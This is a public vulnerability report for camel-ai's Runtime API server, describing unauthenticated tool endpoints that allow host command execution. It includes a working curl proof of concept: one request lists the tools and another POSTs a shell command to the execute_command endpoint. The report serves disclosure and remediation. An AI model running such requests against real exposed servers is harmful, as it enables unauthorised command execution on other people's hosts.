[BUG] CAMEL Runtime API server exposes all registered tool endpoints without authentication, enabling unauthenticated tool invocation and host command execution when a command-execution toolkit is registered (CWE-306, CVSS 8.6)
Required prerequisites
- I have read the documentation https://camel-ai.github.io/camel/camel.html.
- I have searched the Issue Tracker and Discussions that this hasn't already been reported. (+1 or comment there if it has.)
- Consider asking first in a Discussion.
What version of camel are you using?
0.2.91a5
System information
- Installation method: pip --
pip install "camel-ai==0.2.91a5" "mcp<2" fastapi uvicorn tqdm - OS: Windows 11
- Python version: not recorded in the report; the chain is plain HTTP, with no LLM and no agent involved
- Relevant library versions:
mcp<2;fastapi(not a base dependency -- optional extras only -- whilecamel/runtimes/api.pyimports it at module level;uvicornarrives transitively viamcp);tqdm(required by thecamel.runtimesimport chain on a fresh install -- see Extra dependencies)
Problem description
This is a security vulnerability report. We initially reported this issue privately via GitHub Private Vulnerability Reporting on 2026-09-01 and are following up publicly after the coordination window.
The Runtime API server shipped with camel-ai (camel/runtimes/api.py) exposes every registered tool over unauthenticated HTTP. The FastAPI app is created bare (app = FastAPI(), api.py:45) with no middleware and no authentication of any kind, and every registered tool function becomes a public POST route (app.post(f"/{endpoint_name}")(make_endpoint(func)), api.py:145) whose handler passes the request body straight to the tool (tool.func(*data['args'], **data['kwargs']), api.py:117-119) -- no credential, token, or caller identity is ever checked. GET /health (api.py:54-61) additionally discloses, without authentication, the full inventory of registered toolkits and endpoints. Because the module consumes sys.argv[1:] entirely as toolkit specifications (api.py:41), no CLI option to change the host or port -- or to enable authentication -- even exists: the module's only entrypoint hardcodes an all-interfaces binding (uvicorn.run(app, host="0.0.0.0", port=8000, ...), api.py:151-153). Any client that can reach the port can therefore enumerate the inventory and invoke any registered tool with arbitrary arguments -- including first-party command-execution tools: CodeExecutionToolkit defaults to the host-executing subprocess sandbox (code_execution.py:65), and with require_confirm=false -- the configuration that makes command execution usable at all in a served, headless deployment -- submitted commands go straight to the host shell through subprocess.Popen(..., shell=True) (camel/interpreters/subprocess_interpreter.py:469-476), yielding unauthenticated remote command execution on the host running the server. The chain involves no LLM and no agent: the vulnerable component is the network service itself, and the attack is plain HTTP.
Expected: every route of the Runtime API server -- tool invocation and /health alike -- requires a credential, the service does not bind all interfaces by default, and the registered toolkit/endpoint inventory is not disclosed to unauthenticated clients.
Actual: the app is created bare with no middleware, the shipped entrypoint hardcodes 0.0.0.0:8000 with no host/port/auth option, and any client that can reach the port enumerates the inventory via GET /health and invokes any registered tool with arbitrary arguments -- with a first-party code-execution toolkit registered with require_confirm=false, that is unauthenticated remote command execution on the host.
Reproducible example code
The Python snippets:
# Not used - the PoC is plain HTTP: the server is started through its own module
# entrypoint (`python -m camel.runtimes.api ...`) and driven with curl; no Python
# client script and no LLM/agent are involved anywhere in the chain.Command lines:
Start the server (operator side, the module's own entrypoint):
python -m camel.runtimes.api \
'camel.toolkits.MathToolkit' \
'camel.toolkits.CodeExecutionToolkit{"verbose":true,"require_confirm":false}'
# -> Uvicorn running on http://0.0.0.0:8000Attacker side -- no authentication anywhere:
TARGET=http://127.0.0.1:8000
# 1) unauthenticated inventory disclosure
curl -s "$TARGET/health"
# {"status":"ok","toolkits":["camel.toolkits.MathToolkit",
# "camel.toolkits.CodeExecutionToolkit{\"verbose\":true,\"require_confirm\":false}"],
# "endpoints":["math_add","math_subtract","math_multiply","math_divide","math_round","execute_code","execute_command"]}
# (wrapped for readability; the actual body is a single compact JSON line)
# 2) unauthenticated invocation of a registered tool
curl -s -X POST "$TARGET/math_add" \
-H 'Content-Type: application/json' \
-d '{"args":[3,4],"kwargs":{}}'
# {"output":"7"}
# 3) unauthenticated host command execution
curl -s -X POST "$TARGET/execute_command" \
-H 'Content-Type: application/json' \
-d '{"args":["echo POC_EXECUTED > /tmp/camel_poc_marker.txt"],"kwargs":{}}'
# -> HTTP 200; the command runs on the host through shell=True
cat /tmp/camel_poc_marker.txt # -> POC_EXECUTEDExtra dependencies:
pip install "camel-ai==0.2.91a5" "mcp<2" fastapi uvicorn tqdm
# mcp<2: a current mcp 2.x release removes mcp.server.FastMCP, which camel-ai
# 0.2.91a5's unbounded mcp>=1.3.0 base pin does not account for -- without the
# <2 pin, every camel.toolkits import fails at startup (mcp 1.29.1 restores them).
# fastapi: not a base dependency -- it ships only in camel-ai's optional extras
# (web_tools, and the aggregate all), while camel/runtimes/api.py imports it at
# module level (uvicorn arrives transitively via mcp).
# tqdm: camel/runtimes/__init__.py unconditionally imports DockerRuntime (:17),
# which imports tqdm at module level (docker_runtime.py:27), while tqdm is not
# among camel-ai 0.2.91a5's base dependencies (its only dependency stub is the
# dev types-tqdm) and current openai 3.x releases -- which the unbounded
# openai>=1.86.0 pin resolves to -- no longer pull it transitively, so on a
# fresh install every camel.runtimes import fails with
# ModuleNotFoundError: No module named 'tqdm'.Steps to reproduce:
pip install "camel-ai==0.2.91a5" "mcp<2" fastapi uvicorn tqdm(see Extra dependencies for why the pins are needed).- Start the server with the module's own entrypoint, registering
MathToolkitandCodeExecutionToolkit{"verbose":true,"require_confirm":false}; it binds0.0.0.0:8000(the only binding the shipped entrypoint supports). - Unauthenticated
GET /health: the response discloses the full toolkit and endpoint inventory (math_add,math_subtract,math_multiply,math_divide,math_round,execute_code,execute_command). - Unauthenticated
POST /math_addwith{"args":[3,4],"kwargs":{}}: the registered tool executes and returns{"output":"7"}. - Unauthenticated
POST /execute_commandwith{"args":["echo POC_EXECUTED > /tmp/camel_poc_marker.txt"],"kwargs":{}}: HTTP 200; the command runs on the host throughshell=True. - Observe:
cat /tmp/camel_poc_marker.txtshowsPOC_EXECUTED. (On Windows substitute the marker path with%TEMP%/camel_poc_marker.txt-- forward slashes: a single backslash as in%TEMP%\camel_poc_marker.txtis an invalid JSON escape sequence and the request body is rejected with a JSON-decode error before reaching the tool. Note also that in cmd.exe a bare\tmpredirect lands on the drive root.)
Traceback
No traceback -- the server accepts every request without any error or authentication challenge; `/health` and both tool invocations return normal HTTP 200 responses.Expected behavior
Every route of the Runtime API server (tool invocation and /health included) requires authentication by default; the service binds a non-all-interfaces address by default and exposes explicit host/port/auth CLI options (today sys.argv is consumed entirely by tool specs, api.py:41); and /health does not disclose the registered toolkit and endpoint inventory to unauthenticated clients.
Additional context
Dynamically verified against camel-ai 0.2.91a5 on Windows 11 in August 2026 (9/9 automated assertions passing). No LLM backend, no credentials, and no victim interaction anywhere in the chain.
Severity: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L = 8.6 (High). Alternate scoring: if the process spawned through shell=True is treated as a resource outside the camel-ai component's security scope (S:C), the same vector scores 9.9 (both values computed with the official FIRST CVSS v3.1 formula; derivation in the advisory). CWEs: CWE-306 (primary), CWE-200.
Affected: PyPI camel-ai >= 0.2.10, <= 0.2.91a5. Patched versions: none yet.
Suggested remediation:
- Require authentication on every route (API-key or token middleware), enabled by default,
/healthincluded. - Bind
127.0.0.1by default and add explicit host/port/auth CLI options (todaysys.argvis consumed entirely by tool specs,api.py:41). - Stop disclosing the toolkit/endpoint inventory at
/health, or gate it behind authentication. - Add a per-request policy gate for high-risk tools (execution allowlist) that works in headless deployments.
Source: camel-ai/camel